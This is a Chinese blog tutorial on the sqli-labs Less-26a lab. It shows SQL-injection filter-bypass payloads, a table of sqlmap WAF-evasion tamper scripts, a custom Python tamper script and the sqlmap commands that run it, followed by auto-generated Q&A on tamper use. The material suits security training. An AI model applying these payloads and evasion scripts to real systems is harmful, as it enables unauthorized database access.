修改sqlmap-Tamper脚本

修改sqlmap-Tamper脚本

1 sqlmap官网

https://sqlmap.org/

2 sql注入漏洞注入尝试

1. --+

2. %23 --》代表# 

3. 尝试宽字节注入

4. 尝试id=2' and '1   # 返回发现and消失

5.使用双写:id=2' aANDnd '1   #发现空格过滤

6.使用双写:id=2'+aANDnd+'1  # 发现+号也被过滤掉

7. 代替空格:id=2'%20aANDnd%20'1  #空格被过滤,使用代替16进制 --》%20,发现也被过滤

8. 使用注释: id=2'/*--*/aANDnd/**--**/'1

9.可以使用空格代替字符,(%09, %0A,  %0d, %0c, %a0) 

10. id=2'%a0aANDnd%a0'1   # 测试可以使用

3 环境:sqli-labs/Less-26a/

在这里插入图片描述

3.1 尝试宽字节注入:
例如"%c0%af",来欺骗应用程序。这些编码的特殊字符在某些情况下会被解析为斜杠(/),从而绕过应用程序的输入验证过程

3.2 sqlmap使用

~\tools\sqlmap

python  .\sqlmap.py -u "http://10.4.7.130/sqli-labs/less-26/?id=1"

发现没有跑出来
3.3准备修改sqlmap使用
find / -name "*sqlmap*"   
/usr/share/sqlmap  # 发现sqlmap在此文件中

4 sqlmap中-tamper工厂(输入输出)

4.1 参考文章:sqlmap,Tamper详解及使用指南
SQLMap是一款SQL注入神器,可以通过tamper对注入payload 进行编码和变形,以达到绕过某些限制的
目的。但是有些时候,SQLMap自带的Tamper脚本并不是特别好用,需要根据实际情况定制Tamper脚本。
sqlmap,Tamper详解及使用指南
tamper
cp -R tamper tamper.bak  #备份复制模版
4.2 sqlmap,Tamper详解及使用指南
序号脚本名称注释
10x2char将每个编码后的字符转换为等价表达
2apostrophemask单引号替换为Utf8字符
3apostrophenullencode替换双引号为%00%27
4appendnullbyte有效代码后添加%00
5base64encode使用base64编码
6between比较符替换为between
7bluecoat空格替换为随机空白字符,等号替换为like
8chardoubleencode双url编码
9charencode将url编码
10charunicodeencode使用unicode编码
11charunicodeescape以指定的payload反向编码未编码的字符
12commalesslimit改变limit语句的写法
13commalessmid改变mid语句的写法
14commentbeforeparentheses在括号前加内联注释
15concat2concatws替换CONCAT为CONCAT_WS
16equaltolike等号替换为like
17escapequotes双引号替换为\\
18greatest大于号替换为greatest
19halfversionedmorekeywords在每个关键字前加注释
20htmlencodehtml编码所有非字母和数字的字符
21ifnull2casewhenisnull改变ifnull语句的写法
22ifnull2ifisnull替换ifnull为if(isnull(A))
23informationschemacomment标示符后添加注释
24least替换大于号为least
25lowercase全部替换为小写值
26modsecurityversioned空格替换为查询版本的注释
27modsecurityzeroversioned添加完整的查询版本的注释
28multiplespaces添加多个空格
29nonrecursivereplacement替换预定义的关键字
30overlongutf8将所有字符转义为utf8
31overlongutf8more以指定的payload转换所有字符
32percentage每个字符前添加%
33plus2concat将加号替换为concat函数
34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
35randomcase字符大小写随机替换
36randomcomments/**/分割关键字
37securesphere添加某字符串
38sp_password追加sp_password字符串
39space2comment空格替换为/**/
40space2dash空格替换为–加随机字符
41space2hash空格替换为#加随机字符
42space2morecomment空格替换为/_/
43space2morehash空格替换为#加随机字符及换行符
44space2mssqlblank空格替换为其他空符号
45space2mssqlhash空格替换为%23%0A
46space2mysqlblank空格替换为其他空白符号
47space2mysqldash空格替换为–%0A
48space2plus空格替换为加号
49space2randomblank空格替换为备选字符集中的随机字符
50symboliclogicalAND和OR替换为&&和||
51unionalltounionunion all select替换为union select
52unmagicquotes宽字符绕过GPC
53uppercase全部替换为大写值
54varnish添加HTTP头
55versionedkeywords用注释封装每个非函数的关键字
56versionedmorekeywords使用注释绕过
57xforwardedfor添加伪造的HTTP头
4.3 使用root权限使用vscode
cd /usr/share/code/bin/

sudo ./code # 如果打不开提示加参数,如下

sudo ./code --no-sandbox --user-data-dir /tmp 

在这里插入图片描述

4.4 选择复制Oeunion.py一个模版,进行编写

在这里插入图片描述

4.5 使用replace方法替换
1.用replace方法
python
m="welcome, test"
m.replace("test", '')
'welcome, '  # 打印
4.6 re.sub(”搜索的内容“,“替换的内容”,变量)
# 使用正则替换:
m = "welcome,test"
import re
re.sub(r"test","tiihuan",m) # 第一个搜索值。第二个替换值,第三个上搜索资源或变量
'wlcome,tihuan'   #打印内容
4.7 定义文件 sqli-label_26.py
cd  /usr/share/sqlmap/temper  # 路径
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    
    """
    payload = re.sub(r"#", " and '1", payload) 
    payload = re.sub(r"and", "aANDnd", payload) # 如果忽略大小写加(?i)-r"(?i)and"
    payload = re.sub(r"or", "oORr", payload)
    payload = re.sub(r" ", "%A0", payload)

    return payload                                      
4.8 sqlmap使用参数大全

参考指令大全

5 执行编写的脚本

sqlmap.py --help  # 查看帮助

--version:显示当前sqlmap的版本号

-h:显示帮助信息

-hh:显示详细的帮助信息

-v VERBOSE:详细级别,VERBOSE为数字,默认为

1. 常规执行
┌──(kali@kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  

2. 加参数指定注入手法,进行排错
--technique  U    # BEUSTQ中的U执行联合查询
┌──(kali@kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  --technique  U

在这里插入图片描述

5.1 发现没有被替换,搜索只能搜索到小写or,忽略大小写匹配(?i)

在这里插入图片描述
在这里插入图片描述

5.2 修改文件 sqli-label_26.py ,忽略大小写
 payload = re.sub(r"#", " and '1", payload)
 payload = re.sub(r"(?i)and", "aANDnd", payload)
 payload = re.sub(r"(?i)or", "oORr", payload)
 payload = re.sub(r" ", "%A0", payload)
5.3 执行后,已经被替换,没有检测出联合查询漏洞,去掉指定检测手法

在这里插入图片描述

5.4 最终重新执行
┌──(kali💋kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=4" -v3 --tamper sqli-label_26.py 
5.5 发现漏洞检测点

在这里插入图片描述

5.6 破解当前数据库名
┌──(kali💋kali)-[/usr/share/sqlmap]
└─$ python sqlmap.py -u "http://192.168.225.186:11088/sqli-labs/Less-26a/?id=2" -v3 --tamper sqli-label_26.py  --current-db

在这里插入图片描述

  • 21
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQLmaptamper是指对抓包后的sqlmap请求加入变异行为,以逃避WAF及过滤规则的限制。tamper是一个python文件,可以在进行SQL注入测试时应用,以尝试绕过WAF和安全防护。 使用SQLmaptamper可以使用以下步骤: 1. 打开SQLmaptamper文件夹,可以找到多个与注入相关的tamper文件,如:apostrophemask.py,base64encode.py,between.py等等。 2. 选择一个tamper文件,将其加入到SQLmap的命令行选项中。 例如,使用apostrophemask.py变异脚本,命令行应如下: ``` python sqlmap.py -u www.target.com/vuln.php?id=1 --tamper=apostrophemask.py ``` 3. 运行SQLmap测试注入时,将应用选定的tamper文件,用于变异测试HTTP请求报文,最终目的在绕过WAF和安全防护,完成注入检测。 需要注意的是,不同的tamper文件是具有不同的变异特点和用途的,应根据实际情况进行选择和测试。 ### 回答2: SQLMap是一种专门用于自动化SQL注入渗透测试的工具,其tamper选项用于修改SQL注入时发送给目标数据库的Payload。使用tamper选项可以绕过一些特定的WAF(Web应用防火墙)或者应用程序针对SQL注入的过滤规则,增加注入成功的几率。 使用tamper选项的步骤如下: 1. 启动SQLMap并指定目标URL,例如:`python sqlmap.py -u http://example.com/index.php?id=1` 2. 执行第一步后,SQLMap会自动进行一系列测试,检测目标是否存在SQL注入漏洞。如果检测到存在漏洞,则可以继续下一步;否则可能需要尝试其他方法或者目标不具备SQL注入漏洞。 3. 输入`--tamper`或`-tamper`选项以及相应的tamper脚本,例如:`--tamper=space2comment`。SQLMap会使用指定的tamper脚本修改发送给目标数据库的Payload。 4. SQLMap会自动应用指定的tamper脚本进行注入测试。如果需要使用多个tamper脚本,可以使用逗号分隔,例如:`--tamper=space2comment,randomcase`。 5. 执行tamper选项后,SQLMap会根据tamper脚本的定义修改Payload,然后再发送给目标数据库进行注入测试。 总之,tamper选项是SQLMap中用于修改Payload以绕过WAF或应用程序过滤规则的重要功能。用户可以根据具体情况选择合适的tamper脚本,提高SQL注入攻击成功的概率。 ### 回答3: sqlmap是一个用于自动化SQL注入的工具,tamper是其中一个功能,用于修改注入请求的参数和报文,以绕过WAF(Web应用防火墙)和过滤器。 使用tamper功能的步骤如下: 1. 首先,运行sqlmap并指定目标网址,例如:`python sqlmap.py -u http://example.com/page.php?id=1` 2. 在运行过程中,sqlmap会探测目标网址是否存在SQL注入漏洞。 3. 一旦sqlmap确认目标存在注入漏洞,它会提示选择是否使用tamper功能以绕过WAF和过滤器。 4. 输入`Y`或者`yes`后回车,sqlmap将提供一系列tamper脚本供选择。 5. 根据需要选择一个tamper脚本,例如选择`tamper/space2comment.py`,则会将空格转换为注释符。 6. sqlmap会自动将选择的tamper脚本应用于注入请求,并发送修改后的请求到目标网址。 7. 接下来,sqlmap会分析响应,如果注入成功,将继续进行注入测试。 8. 使用其他tamper脚本,可以尝试绕过不同的防御机制,如编码、大小写、拆分等。 9. 运行完成后,sqlmap将生成报告,并提供详细的注入结果和可能的漏洞利用方法。 总之,tamper功能是sqlmap工具中用于绕过WAF和过滤器的重要组成部分,通过应用tamper脚本可以改变注入请求的参数和报文,增加SQL注入成功的几率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值